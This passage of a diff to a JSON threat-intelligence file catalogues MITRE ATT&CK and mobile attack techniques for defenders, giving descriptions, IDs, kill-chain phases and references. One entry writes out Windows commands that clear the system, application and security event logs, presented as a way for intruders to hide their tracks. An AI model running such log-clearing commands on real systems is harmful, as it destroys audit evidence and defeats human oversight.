"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "value": "Analyze organizational skillsets and deficiencies - T1297" + }, + { + "description": "An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)", + "meta": { + "external_id": "T1288", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1288" + ] + }, + "uuid": "87775365-2081-4b6e-99bd-48a3b8f36563", + "value": "Analyze architecture and configuration posture - T1288" + }, + { + "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)", + "meta": { + "external_id": "T1289", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1289" + ] + }, + "related": [ + { + "dest-uuid": "96eb59d1-6c46-44bb-bfcd-56be02a00d41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "7baccb84-356c-4e89-8c5d-58e701f033fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc", + "value": "Analyze organizational skillsets and deficiencies - T1289" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nThe utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)", + "meta": { + "external_id": "T1375", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1375" + ] + }, + "uuid": "2c8a9df4-52a9-4770-94b3-5e95ab7d59f9", + "value": "Leverage compromised 3rd party resources - T1375" + }, + { + "description": "An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)", + "meta": { + "external_id": "T1335", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1335" + ] + }, + "uuid": "2141aea0-cf38-49aa-9e51-ac34092bc30a", + "value": "Procure required equipment and software - T1335" + }, + { + "description": "Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) -- homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)", + "meta": { + "external_id": "T1337", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1337" + ] + }, + "uuid": "e34b9ca1-8778-41a3-bba5-8edaab4076dc", + "value": "SSL certificate acquisition for domain - T1337" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUpon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)", + "meta": { + "external_id": "T1383", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1383" + ] + }, + "uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046", + "value": "Confirmation of launched compromise achieved - T1383" + }, + { + "description": "The application is delivered as an email attachment.\n\nDetection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1434", + "refs": [ + "https://attack.mitre.org/techniques/T1434" + ] + }, + "related": [ + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "1f96d624-8409-4472-ad8a-30618ee6b2e2", + "value": "App Delivered via Email Attachment - T1434" + }, + { + "description": "Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)", + "meta": { + "external_id": "T1347", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1347" + ] + }, + "uuid": "15ef4da5-3b93-4bb1-a39a-5396661956d3", + "value": "Build and configure delivery systems - T1347" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)", + "meta": { + "external_id": "T1384", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1384" + ] + }, + "uuid": "0e6abb17-0f81-4988-9fd2-4ba0b673d729", + "value": "Automated system performs requested action - T1384" + }, + { + "description": "If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication. For example, He et al. (Citation: mHealth) describe numerous healthcare-related applications that did not properly protect network communication.", + "meta": { + "external_id": "APP-1", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1439", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html", + "https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps" + ] + }, + "uuid": "393e8c12-a416-4575-ba90-19cc85656796", + "value": "Eavesdrop on Insecure Network Communication - T1439" + }, + { + "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)", + "meta": { + "external_id": "T1394", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1394" + ] + }, + "uuid": "d2c4206a-a431-4494-834d-52944a79e9f4", + "value": "Distribute malicious software development tools - T1394" + }, + { + "description": "Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)", + "meta": { + "external_id": "T1358", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1358" + ] + }, + "uuid": "a16e4004-caac-4a0b-acd5-486f8fda1665", + "value": "Review logs and residual traces - T1358" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nMany mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)", + "meta": { + "external_id": "T1395", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1395" + ] + }, + "uuid": "41086474-e6de-4fac-bb69-640db7fdf3d2", + "value": "Runtime code download and execution - T1395" + }, + { + "description": "An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)", + "meta": { + "external_id": "T1359", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1359" + ] + }, + "uuid": "8b57a8f1-9cbc-4b95-b162-cc2a1add94f2", + "value": "Test malware to evade detection - T1359" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nReplacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)", + "meta": { + "external_id": "T1378", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1378" + ] + }, + "uuid": "0d759854-9b69-438c-8325-74b03cc80cf0", + "value": "Replace legitimate binary with malware - T1378" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nExternally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)", + "meta": { + "external_id": "T1388", + "kill_chain": [ + "mitre-pre-attack:compromise" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1388" + ] + }, + "uuid": "4aeafdb3-eb0b-4e8e-b93f-95cd499088b4", + "value": "Compromise of externally facing system - T1388" + }, + { + "description": "An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)", + "meta": { + "external_id": "GPS-0", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1464", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html", + "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf" + ] + }, + "uuid": "d2e112dc-f6d4-488d-b8df-ecbfb57a0a2d", + "value": "Jamming or Denial of Service - T1464" + }, + { + "description": "An adversary may seek to lock the legitimate user out of the device, for example until a ransom is paid.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to lock the user out of the device.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been demonstrated that can lock the user out of the device (Citation: Xiao-KeyRaider).", + "meta": { + "external_id": "APP-28", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1446", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html", + "http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/" + ] + }, + "uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "value": "Lock User Out of Device - T1446" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.", + "meta": { + "external_id": "EMM-7", + "kill_chain": [ + "mitre-mobile-attack:remote-service-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1468", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html" + ] + }, + "uuid": "6f86d346-f092-4abc-80df-8558a90c426a", + "value": "Remotely Track Device Without Authorization - T1468" + }, + { + "description": "An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).", + "meta": { + "external_id": "EMM-7", + "kill_chain": [ + "mitre-mobile-attack:remote-service-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1469", + "https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html", + "https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html", + "https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/" + ] + }, + "uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067", + "value": "Remotely Wipe Data Without Authorization - T1469" + }, + { + "description": "An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).\n\nFor example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).\n\nOn iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).", + "meta": { + "external_id": "STA-7", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1478", + "https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html", + "https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security", + "https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html" + ] + }, + "uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "value": "Install Insecure or Malicious Configuration - T1478" + }, + { + "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)", + "meta": { + "external_id": "T1275", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1275" + ] + }, + "uuid": "b3f36317-3940-4d71-968f-e11ac1bf6a31", + "value": "Aggregate individual's digital footprint - T1275" + }, + { + "description": "The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)", + "meta": { + "external_id": "T1323", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1323" + ] + }, + "uuid": "274164c6-4297-42d4-84b5-2369e51013fe", + "value": "Domain Generation Algorithms (DGA) - T1323" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit's landing page. The exploit kit landing page will probe the victim's operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)", + "meta": { + "external_id": "T1372", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1372" + ] + }, + "uuid": "58d0b955-ae3d-424a-a537-2804dab38793", + "value": "Unconditional client-side exploitation/Injected Website/Driveby - T1372" + }, + { + "description": "Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)", + "meta": { + "external_id": "T1390", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1390" + ] + }, + "uuid": "5436571f-2332-4b51-b7ed-0bc822fe02c2", + "value": "OS-vendor provided communication channels - T1390" + }, + { + "description": "Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.", + "meta": { + "external_id": "T1095", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network intrusion detection system", + "Network protocol analysis", + "Packet capture", + "Process use of network" + ], + "mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1095", + "http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29", + "http://support.microsoft.com/KB/170292", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "value": "Standard Non-Application Layer Protocol - T1095" + }, + { + "description": "An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication as described in NIST SP 800-153 (Citation: NIST-SP800153). \n\nFor example, Kaspersky describes a threat actor they call DarkHotel that targeted hotel Wi-Fi networks, using them to compromise computers belonging to business executives (Citation: Kaspersky-DarkHotel).", + "meta": { + "external_id": "LPN-0", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1465", + "https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html", + "http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf", + "https://blog.kaspersky.com/darkhotel-apt/6613/" + ] + }, + "uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "value": "Rogue Wi-Fi Access Points - T1465" + }, + { + "description": "Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.\n\nOne such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)\n\nAnother example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)\n\nPayloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.", + "meta": { + "external_id": "T1140", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1140", + "https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/", + "https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/", + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + ] + }, + "uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "value": "Deobfuscate/Decode Files or Information - T1140" + }, + { + "description": "For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)", + "meta": { + "external_id": "T1251", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1251" + ] + }, + "uuid": "46017368-6e09-412b-a29c-385be201cc03", + "value": "Obtain domain/IP registration information - T1251" + }, + { + "description": "Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)", + "meta": { + "external_id": "T1228", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1228" + ] + }, + "uuid": "a86a21a4-6304-4df3-aa6d-08114c47d48f", + "value": "Assign KITs/KIQs into categories - T1228" + }, + { + "description": "Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)", + "meta": { + "external_id": "T1235", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1235" + ] + }, + "uuid": "7863b7f1-c18a-4aad-a6cf-4aa6d8797531", + "value": "Receive operator KITs/KIQs tasking - T1235" + }, + { + "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.", + "meta": { + "external_id": "T1030", + "kill_chain": [ + "mitre-attack:exfiltration" + ], "mitre_data_sources": [ "Packet capture", "Netflow/Enclave netflow", @@ -81,252 +2330,563 @@ "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1094", + "https://attack.mitre.org/techniques/T1030", "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00" + ] }, - "value": "Custom Command and Control Protocol" + "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd", + "value": "Data Transfer Size Limits - T1030" }, { - "description": "Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to cmd may be used to gather information.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a network share. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters", + "description": "Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.\n\nAdversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.", "meta": { + "external_id": "T1005", + "kill_chain": [ + "mitre-attack:collection" + ], "mitre_data_sources": [ "File monitoring", "Process monitoring", "Process command-line parameters" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1039" - ], - "uuid": "ae676644-d2d2-41b7-af7e-9bed1b55898c" + "https://attack.mitre.org/techniques/T1005" + ] }, - "value": "Data from Network Shared Drive" + "uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "value": "Data from Local System - T1005" }, { - "description": "Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts.[[Citation: Dell WMI Persistence]] Examples of events that may be subscribed to are the wall clock time or the computer's uptime.[[Citation: Kazanciyan 2014]] Several threat groups have reportedly used this technique to maintain persistence.[[Citation: Mandiant M-Trends 2015]]\n\nDetection: Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.[[Citation: TechNet Autoruns]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: WMI Objects", + "description": "Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)", "meta": { + "external_id": "T1006", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ - "WMI Objects" + "API monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1084", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf", - "https://www.secureworks.com/blog/wmi-persistence", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf" - ], - "uuid": "e906ae4d-1d3a-4675-be23-22f7311c0da4" + "https://attack.mitre.org/techniques/T1006", + "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin", + "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1" + ] }, - "value": "Windows Management Instrumentation Event Subscription" + "uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", + "value": "File System Logical Offsets - T1006" }, { - "description": "Exfiltration could occur over a different network medium than the command and control channel. If the command and control network is a wired Internet connection, the exfiltration may occur, for example, over a WiFi connection, modem, cellular data connection, Bluetooth, or another radio frequency (RF) channel. Adversaries could choose to do this if they have sufficient access or proximity, and the connection might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.\n\nDetection: Processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a mouse click or key press) but access the network without such may be malicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nContributors: Itzik Kotler, SafeBreach", + "description": "Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .\n\nActions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows event logs are a record of a computer's alerts and notifications. Microsoft defines an event as \"any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log.\" There are three system-defined sources of Events: System, Application, and Security.\n \nAdversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.\n\nThe event logs can be cleared with the following utility commands:\n\n* wevtutil cl system\n* wevtutil cl application\n* wevtutil cl security\n\nLogs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).", "meta": { + "external_id": "CAPEC-93", + "kill_chain": [ + 